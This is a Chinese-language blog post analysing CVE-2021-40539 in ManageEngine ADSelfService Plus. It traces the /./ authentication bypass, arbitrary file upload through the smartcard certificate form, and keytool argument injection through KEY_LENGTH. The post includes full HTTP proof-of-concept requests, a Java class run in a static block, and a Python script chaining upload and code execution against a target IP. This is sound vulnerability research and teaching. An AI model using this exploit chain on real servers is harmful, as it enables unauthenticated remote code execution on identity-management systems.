ManageEngine ADSelfService Plus 历史漏洞CVE-2021-40539分析
2022-8-6 16:28:53 Author: 猫因的安全(查看原文) 阅读量:31 收藏

概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。

CVE-2021-40539是一个身份认证绕过漏洞,可能导致任意远程代码执行 (RCE)。 根据官方信息,在2021年11月7日的6114版本中得到修复。

据CISA,CVE-2021-40539 已在野漏洞利用中被检测到,黑客可以利用此漏洞来控制受影响的系统。

作为JAVA安全研究菜鸟,本篇文章的思路是按照已知这个漏洞存在,并且知道poc的前提下,进行漏洞的复现以及原理的分析。在复现过程中发现与其它大佬分析的一些不同处,简单记录,一方面供新手参考;另一方面继续积累java漏洞模式理解,为后续开展漏洞挖掘做准备工作。

环境搭建

软件环境

官网只提供最新版下载,在下载网站可以下载到5.8版本

安装过程中有个坑,图形化界面安装到最后阶段后会卡在一个界面过不去,参考其他大佬的一些做法,我重启了自己的机器,然后运行安装目录下的C:\ManageEngine\ADSelfService Plus\bin\run.bat,即可开始文字界面的安装选择,然后就可以根据默认的8888端口(http),或者9251端口(https)打开web界面


调试环境配置

将C:\ManageEngine\ADSelfService Plus复制到我的Mac环境下,使用idea打开

在目标bin/run.bat中添加一行(这行命令直接去idea里面复制即可)

set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

然后停止服务,再双击run.bat重新以调试模式启动

在idea中设置相关调试设置


我们的调试环境就配置完成了

要怎么检验是否成功配置好了呢,可以查看C:\ManageEngine\ADSelfService Plus\webapps\adssp\WEB-INF\web.xml文件,可以看到以下内容

<filter>
<filter-name>AssociateCredential</filter-name>
<filter-class>com.adventnet.authentication.filter.AssociateCredential</filter-class>
</filter>
<filter-mapping>
<filter-name>AssociateCredential</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

可知,任意url模式下,都会触发AssociateCredential这个filter,因此,尝试在这个filter的doFilter函数下断点,随便访问一个页面,如果能断下来,则证明调试环境配置成功


尝试随便请求一个页面http://127.0.0.1:8888/authorization.do,发现果然断了下来,证明调试环境搭建成功

漏洞分析

认证绕过漏洞

认证绕过漏洞的一个例子是

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

默认请求


但加上/./则可绕过认证


尝试分析一下这个流程,java应用中的web.xml是用来初始化配置信息,Welcome页面、servlet、servlet-mapping、filter、listener、启动加载级别等都可以在web.xml中定义

根据/./RestAPI/LogonCustomization这个url可以看到以下内容

<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml, /WEB-INF/accounts-struts-config.xml, /adsf/struts-config.xml, /WEB-INF/api-struts-config.xml, /WEB-INF/mobile/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>validate</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>chainConfig</param-name>
<param-value>org/apache/struts/tiles/chain-config.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>

证明请求/./RestAPI/LogonCustomization时候首先会调用到org.apache.struts.action.ActionServlet内容

因此直接尝试在其中doPost函数中下个断点


在下断点后,尝试发送正常的不带/./的请求

POST /RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

发现并不会触发断点

但是尝试请求

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

发现可以触发断点

以上测试可以证明的是,认证校验代码并不存在org.apache.struts.action.ActionServlet以及之后的数据处理中,而应该在到org.apache.struts.action.ActionServlet之前的处理中,显然,应该是在filter中,尝试去看看这个url都会触发什么filter

根据web.xml,/RestAPI/LogonCustomization会按顺序触发以下filter

AssociateCredential
EncodingFilter
METrackFilter
ADSFilter

当然如果尝试在ActionServlet中下断点,看一下触发流程也可以知道有哪些filter

尝试在这几个filter的doFilter函数中都下断点





另外保留org.apache.struts.action.ActionServlet中的断点

在我们尝试发送认证绕过的数据包时候,这些filter以及ActionServlet均会触发

但是在尝试发送不带/./的普通数据包的时候,发现四个filter也都会被触发,但是却触发不了ActionServlet

两种情况相对比即可证明,针对restAPI的校验的逻辑应该是存在于最后的filter——ADSFilter中,因此,将认证绕过漏洞我们的分析重点放在ADSFilter对象中

要通过这个filter的检查,意味着不能return,要运行到最后filterChain.doFilter(request, response)这一行才可以

通过动态跟踪,发现使用不带绕过的url——/RestAPI/LogonCustomization时候,会在以下这一行return

restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*";
if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) {
return;
}

证明这里的检查没有通过,另一方面也证明我们使用/./RestAPI/LogonCustomization绕过的正是此处认证,尝试分析一下检查逻辑

在这段代码前边是以下逻辑,检查requrl是否匹配.*.do|.*.cc|/webclient/index.html模式,如果匹配则进行相应的认证凭证校验


我们请求的/RestAPI/*不符合以上模式,因此会继续向下运行


其中Pattern.matches(restApiUrlPattern, reqURI)reqURI是我们请求的url,分析前边代码可知restApiUrlPattern的值为/RestAPI/.*,因此当我们请求的url为/./RestAPI/LogonCustomization很容易绕过这句判断,因为后边又紧跟着&&,因此只要这个判断不通过就不会return,绕过认证

任意文件上传漏洞

poc如下:

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212

-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"

unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"

yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"

smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"

Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream

arbitrary content
-----------------------------39411536912265220004317003537--

尝试发包


结果会在bin目录下创建test.txt这个文件,内容为arbitrary content


尝试分析逻辑

还是先看web.xml,

.....
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
.....
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
.....

显然这里使用了structs,想要找到具体的逻辑,我们去参考web.xml同目录下的struts-config.xml文件,搜索LogonCustomization

<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>

因为poc中methodToCall的值是unspecified,初步确定相关逻辑在LogonCustomization中的unspecified函数中

public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
AdventNetResourceBundle rb = ResourceBundleMgr.getInstance().getBundle(request);
String message = "";
String messageType = "";

try {
DynaActionForm dynForm = (DynaActionForm)form;
Long loginId = (Long)request.getSession().getAttribute("ADMP_SESSION_LOGIN_ID");
ArrayList logonList = DomainUtil.getDomainShowStatus();
ArrayList loginAttrList = DomainUtil.getLoginAttrPropList();
request.setAttribute("forwardTo", "LogonSettings");
int j;
Properties p;
String domainName;
String formDomainStatus;
String loginAttrEnableStatus;
String operation;
String formValue;
String ldapName;
if (request.getParameter("Save") != null) {
message = rb.getString("adssp.common.text.success_update");
messageType = "success";
if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
this.saveMobileSettings(logonList, request);
request.setAttribute("form", "mob");
} else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
operation = request.getParameter("operation");
SmartCardAction sCAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) {
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
} else if (operation.equalsIgnoreCase("Update")) {
sCAction.updateSmartCardConfig(mapping, form, request, response);
}

if (request.getAttribute("SMART_CARD_DETAILS") != null) {
JSONObject status = (JSONObject)request.getAttribute("SMART_CARD_DETAILS");
if (status.has("eSTATUS")) {
messageType = "error";
message = rb.getString((String)status.get("eSTATUS"));
} else {
messageType = "success";
message = rb.getString((String)status.get("sSTATUS"));
}
}
} else {
for(j = 0; j < formElements.length; ++j) {
formValue = (String)dynForm.get(formElements[j]);
if (formValue != null && j != 1) {
ADSMPersUtil.updateSyMParameter(dbElements[j], formValue);
}
}

int j;
if (dynForm.get("SHOW_CAPTCHA_LOGIN_PAGE").toString().equals("true") || dynForm.get("SHOW_CAPTCHA_RUL_PAGE").toString().equals("true")) {
if ((Boolean)dynForm.get("CUSTOM_CAPTCHA")) {
j = Integer.parseInt(dynForm.get("MAX_INVALID_LOGIN").toString());
j = Integer.parseInt(dynForm.get("RESET_TIME").toString());
CaptchaUtil.updateLogonCaptchaSettings(true, j, j);
} else {
CaptchaUtil.updateLogonCaptchaSettings(false, 0, 0);
}
}

if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
for(j = 0; j < logonList.size(); ++j) {
p = (Properties)logonList.get(j);
domainName = (String)p.get("DOMAIN_NAME");
int formStatus = 0;
formDomainStatus = request.getParameter(domainName + "_CHK");
if ("true".equalsIgnoreCase(formDomainStatus)) {
formStatus = 1;
}

DomainUtil.addUpdateLogonDomains(domainName, new String[]{"DISPLAY_STATUS"}, new int[]{formStatus});
}
}

ArrayList finalList = new ArrayList();

for(j = 0; j < loginAttrList.size(); ++j) {
Properties p = (Properties)loginAttrList.get(j);
ldapName = (String)p.get("LDAP_NAME");
Boolean enableStatus = (Boolean)p.get("ENABLE_STATUS");
loginAttrEnableStatus = request.getParameter(ldapName + "_LCHK");
if ("true".equalsIgnoreCase(loginAttrEnableStatus)) {
enableStatus = true;
} else {
enableStatus = false;
}

Properties savedProp = new Properties();
savedProp.put("LDAP_NAME", ldapName);
savedProp.put("ENABLE_STATUS", enableStatus);
finalList.add(savedProp);
}

DomainUtil.setLoginAttributeList(finalList);
Hashtable props = new Hashtable();
domainName = request.getParameter("ACCESS_CONTROL");
props.put("ACCESS_CONTROL", domainName == null ? "" : domainName);
UserUtil.setUserPersonal(loginId, props);
if (dynForm.get("HIDE_MACCESS_BUTTON").toString().equals("false")) {
CommonUtil.generateQrForSettingsConfiguration();
}

if (dynForm.get("userDisclaimerEnable").toString().equals("true")) {
ADSMPersUtil.updateUDEnableSettings("true");
} else {
ADSMPersUtil.updateUDEnableSettings("false");
}
}
} else if (!"mob".equalsIgnoreCase(request.getParameter("form"))) {
if ("sso".equalsIgnoreCase(request.getParameter("form"))) {
message = rb.getString((String)request.getAttribute("ssoMessage"));
messageType = (String)request.getAttribute("ssoMessageType");
request.setAttribute("form", "sso");
}
} else {
for(j = 0; j < logonList.size(); ++j) {
p = (Properties)logonList.get(j);
domainName = (String)p.get("DOMAIN_NAME");
DomainUtil.addUpdateLogonDomains(domainName, new String[]{"MOBILE_DISPLAY_STATUS"}, new int[]{1});
}

operation = request.getParameter("resetMobSettings");
if (operation != null && operation.equals("true")) {
MobileUtil.resetMobileSettings();
}

request.setAttribute("form", "mob");
}

for(j = 0; j < formElements.length; ++j) {
dynForm.set(formElements[j], ADSMPersUtil.getSyMParameter(dbElements[j]));
}

request.setAttribute("MOBILE_SETTINGS", MobileUtil.getMobileAppSettings());
MobileUtil.removeTempImage();
Hashtable userDisclaimerDetails = ADSMPersUtil.getUserDisclaimerSettings();
formValue = (String)userDisclaimerDetails.get("USER_DISCLAIMER_ENABLE_STATUS");
domainName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_TITLE");
ldapName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CONTENT");
formDomainStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CHKBOX_CONTENT");
loginAttrEnableStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_AGREE_CHKBOX");
dynForm.set("userDisclaimerEnable", formValue);
dynForm.set("userDisclaimerAgreeEnable", loginAttrEnableStatus);
dynForm.set("resetDisclaimerStatus", "false");
request.setAttribute("USER_DISCLAIMER_TITLE", domainName);
request.setAttribute("USER_DISCLAIMER_CONTENT", ldapName);
request.setAttribute("USER_DISCLAIMER_CHKBOX_CONTENT", formDomainStatus);
if (request.getParameter("form") != null) {
request.setAttribute("form", request.getParameter("form"));
}

JSONObject capParams = CaptchaUtil.getLogonCaptchaSettings();
if (capParams.getBoolean("IS_ENABLED")) {
dynForm.set("MAX_INVALID_LOGIN", capParams.getInt("MAX_INVALID_LOGIN"));
dynForm.set("RESET_TIME", capParams.getInt("TIME_TO_RESET"));
dynForm.set("CUSTOM_CAPTCHA", true);
} else {
dynForm.set("CUSTOM_CAPTCHA", false);
}

Hashtable hash = UserUtil.getUserPersonal(loginId, new String[]{"ACCESS_CONTROL"});
String val = (String)hash.get("ACCESS_CONTROL");
if (val == null || val.equals("-")) {
val = "";
}

dynForm.set("ACCESS_CONTROL", val);
if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
logonList = DomainUtil.getDomainShowStatus();
}

request.setAttribute("logonList", logonList);
String sso = ADSMPersUtil.getSyMParameter("SSOAuthType");
if (sso != null) {
request.setAttribute("SSOAuthType", ADSMPersUtil.getSyMParameter("SSOAuthType"));
}

request.setAttribute("SingleSingOn", ADSMPersUtil.getSyMParameter("SingleSignOn"));
loginAttrList = DomainUtil.getLoginAttrPropList();
request.setAttribute("loginAttrList", loginAttrList);
ArrayList domList = new ArrayList();

for(int j = 0; j < logonList.size(); ++j) {
String domainName = (String)((Properties)logonList.get(j)).get("DOMAIN_NAME");
domList.add(domainName);
}

request.setAttribute("domainSSOProps", NTLMHandler.getSSOProps(domList));
SmartCardAction sCAction = new SmartCardAction();
sCAction.getSmartCardConfig(mapping, form, request, response);
} catch (Exception var25) {
var25.printStackTrace();
message = var25.getMessage();
}

request.setAttribute("SAMLIDPAuthDetails", SAMLIDPAuthHandler.getSAMLIdpList());
request.setAttribute("SAMLIDPConfigDetails", SAMLIDPAuthHandler.getSAMLConfigurations("LOGIN_AUTH"));
request.setAttribute("SAML_LOGIN_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL"));
request.setAttribute("SAML_LOGOUT_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGOUT_URL"));
request.setAttribute("URL_CONFIG_ID_GEN", ProductUniqueSeqGenerator.generateUniqueIdentifier());
request.setAttribute("message", message);
request.setAttribute("messageType", messageType);
return mapping.findForward("LogonCustomization");
}

当满足SVAE参数是yes,form参数是smartcard,operation参数值为Add时,会运行至这一行

sCAction.addSmartCardConfig(mapping, dynForm, request, response);

当请求数据中不包含CERTIFICATE_FILE参数,会运行至这一行

JSONObject certFileJson = FileUtil.getFileFromRequest(request, form, "CERTIFICATE_PATH");

进入getFileFromRequest方法


发现会从CERTIFICATE_PATH这个form中取出filename以及内容,创建新文件,造成任意文件上传

并且注意,此处fileName = formFile.getFileName()取到的直接是最终的文件内容,如果我们输入..\test.txt或者license\test.txt是无效的,取出内容依然是test.txt

RCE漏洞

RCE漏洞是匹配文件上传漏洞一起使用的,用于执行之前上传的文件

poc如下:

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"

参考struts-config.xml文件可以快速找到代码逻辑实现

<action path="/Connection" type="com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction" parameter="methodToCall" name="personaliseForm" scope="request">
<forward name="ConnectionSettings" path="ConnectionSettings"/>
<forward name="SSLTool" path="SSLTool"/>
</action>

前往ConnectionAction中openSSLTool查看代码实现

public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR")) {
SSLUtil.createCSR(request);
}

return actionMap.findForward("SSLTool");
}

根据代码,在判断请求数据中action参数generateCSR后即调用SSLUtil.createCSR

public static void createCSR(HttpServletRequest request) throws Exception {
JSONObject sslParams = new JSONObject();
sslParams.put("COMMON_NAME", request.getParameter("NAME"));
sslParams.put("SAN_NAME", request.getParameter("SAN_NAME"));
sslParams.put("OU", request.getParameter("OU"));
sslParams.put("ORGANIZATION", request.getParameter("ORGANIZATION"));
sslParams.put("LOCALITY", request.getParameter("LOCALITY"));
sslParams.put("STATE", request.getParameter("STATE"));
sslParams.put("COUNTRY_CODE", request.getParameter("COUNTRY_CODE"));
sslParams.put("PASSWORD", request.getParameter("PASSWORD"));
sslParams.put("VALIDITY", request.getParameter("VALIDITY"));
sslParams.put("KEY_LENGTH", request.getParameter("KEY_LENGTH"));
JSONObject csrStatus = createCSR(sslParams);
if (csrStatus.has("eStatus")) {
request.setAttribute("status", customizeError(csrStatus.getString("eStatus")));
} else {
request.setAttribute("status", "success");
}

}

从request中获取参数值后调用createCSR

public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
........
StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}

String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}

String san_name = sslSettings.getString("SAN_NAME");
keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
.........
String status = runCommand(keyCmd.toString());
}
}

createCSR方法中,会拼接各字段值然后调用runCommand执行,其中对于大部分参数都是用了keyToolEscape针对特殊字符进行了转义,只有KEY_LENGTH以及VALIDITY两个字段没有被转义,因此可以利用这两个字段

静态大概分析清楚了,尝试动态调试,将断点下载createCSR对象runCommand这一行


但是尝试使用burp发送poc数据包,却并没有断下来,尝试单步,发现在函数第一行sslSettings.getString("COMMON_NAME")中报错进入异常处理


猜测应该是没有这个参数导致触发异常,看看下面还要区PASSWORD等其他参数的值,因此尝试修改poc,在其中加入这些字段参数

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 249

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123

发现此时才可以成功触发断点


keycommand的值为..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "pasword" -storePass "pasword" -keysize 1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService Plus\bin" -validity abc -dName "CN=test, OU= ou, O=og, L=loc, S=state, C=123" -keystore ..\jre\bin\SelfService.keystore -ext SAN=dns:san

其中-providerpath后边的"C:\ManageEngine\ADSelfService Plus\bin"内容是我们注入的内容

下一步尝试看一下这条命令执行的含义


可知使用-providerpath以及-providerclass参数提供方类路径和类名,将要执行的代码放在静态区即可成功运行

漏洞利用

漏洞利用思路即利用三个漏洞,先上传编译好的带有命令执行的class文件,然后使用RCE漏洞触发上传的类中的静态方法

创建Si.java文件

import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
}

编译该文件生成Si.class

javac Si.java

然后使用任意文件上传漏洞上传Si.class,然后再使用RCE漏洞触发Si这个类中的静态代码——执行calc.exe。因为生成的Si.class包含不可见字符,因此,简单写一个脚本来完成最后这两步实现印证

import requests
from time import sleep

def upload(ip):
url = 'http://{ip}:8888/%2e/RestAPI/LogonCustomization'.format(ip=ip)
print(url)
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}
files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))}
requests.post(url=url,data=data,files=files)
return True

def runcmd(ip):
url = 'http://{ip}:8888/%2e/RestAPI/Connection'.format(ip=ip)
data = {"methodToCall":'openSSLTool',"action":'generateCSR',"KEY_LENGTH":'1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService+Plus\bin"',"NAME":'test',"VALIDITY":1,"PASSWORD":'pasword','SAN_NAME':'san',"OU":'ou','ORGANIZATION':'og','LOCALITY':'loc','STATE':'state','COUNTRY_CODE':'123'}
requests.post(url=url,data=data)

def main():
ip = '172.16.113.169'
upload(ip)
sleep(3)
runcmd(ip)

if __name__ == "__main__":
main()

运行可成功执行计算器


另外在这里记录一个很操蛋的问题,我这个脚本开始一直使用proxy通过burp发送不成功,但是不使用burp的proxy直接发送能成功,最后判断是因为burp会自动省略掉url里面的/./,很奇怪,不知道是bug还是burp自己刻意做的优化,如果是优化的话实在感觉很画蛇添足

参考

  1. ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析
  2. ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析
  3. HOW TO EXPLOIT CVE-2021-40539 ON MANAGEENGINE ADSELFSERVICE PLUS
  4. CVE-2021-40539

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247495381&idx=1&sn=8e98665d4dc1297cf8ae8f5b384c9205&chksm=c3057b52f472f2447f06eacfbdb488682d178d551d816ab3920a08744fe0a2c95757fb96af20#rd
如有侵权请联系:admin#unsafe.sh